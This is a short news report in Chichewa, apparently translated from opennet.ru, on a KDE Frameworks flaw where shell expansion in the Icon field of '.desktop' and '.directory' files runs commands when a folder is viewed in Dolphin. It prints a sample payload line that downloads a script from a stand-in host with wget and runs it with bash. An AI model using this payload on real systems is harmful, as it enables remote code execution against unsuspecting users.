Chiwopsezo cha KDE code poyang'ana mndandanda wamafayilo

Mu KDE kudziwika kusatetezeka, zomwe zimalola woukira kuti apereke malamulo osamveka ngati wogwiritsa ntchito akuwona chikwatu kapena zolemba zakale zomwe zili ndi mafayilo opangidwa mwapadera a ".desktop" ndi ".directory". Kuwukira kumafuna kuti wosuta angowona mndandanda wamafayilo omwe ali mu fayilo ya Dolphin, kutsitsa fayilo yoyipa yapakompyuta, kapena kukokera njira yachidule pakompyuta kapena chikalata. Vutoli likuwonekera pakutulutsidwa kwamalaibulale pano KDE Frameworks 5.60.0 ndi mitundu yakale, mpaka KDE 4. Chiwopsezo chidakalipo zotsalira osakonzedwa (CVE sinapatsidwe).

Vutoli limadza chifukwa cha kukhazikitsidwa kolakwika kwa kalasi ya KDesktopFile, yomwe, pokonza kusintha kwa "Icon", popanda kuthawa koyenera, imadutsa mtengo ku KConfigPrivate::expandString() ntchito, yomwe imapangitsa kukulitsa zilembo zapadera za chipolopolo, kuphatikiza kukonza. zingwe "$(..)" monga malamulo oti aphedwe . Mosiyana ndi zofunikira za XDG, kukhazikitsa kuwulula zomanga zipolopolo zimapangidwa popanda kulekanitsa mtundu wa zoikamo, i.e. osati posankha mzere wolamula womwe ukuyenera kukhazikitsidwa, komanso pofotokoza zithunzi zomwe zikuwonetsedwa mwachisawawa.

Mwachitsanzo, kuukira zokwanira tumizani wogwiritsa ntchito zakale zokhala ndi chikwatu chokhala ndi ".directory" ngati:

[Kulowa Pakompyuta] Type=Directory
Chizindikiro[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

Mukayesa kuwona zomwe zili munkhokwe mu fayilo ya Dolphin, script https://example.com/FILENAME.sh idzatsitsidwa ndikuchitidwa.

Source: opennet.ru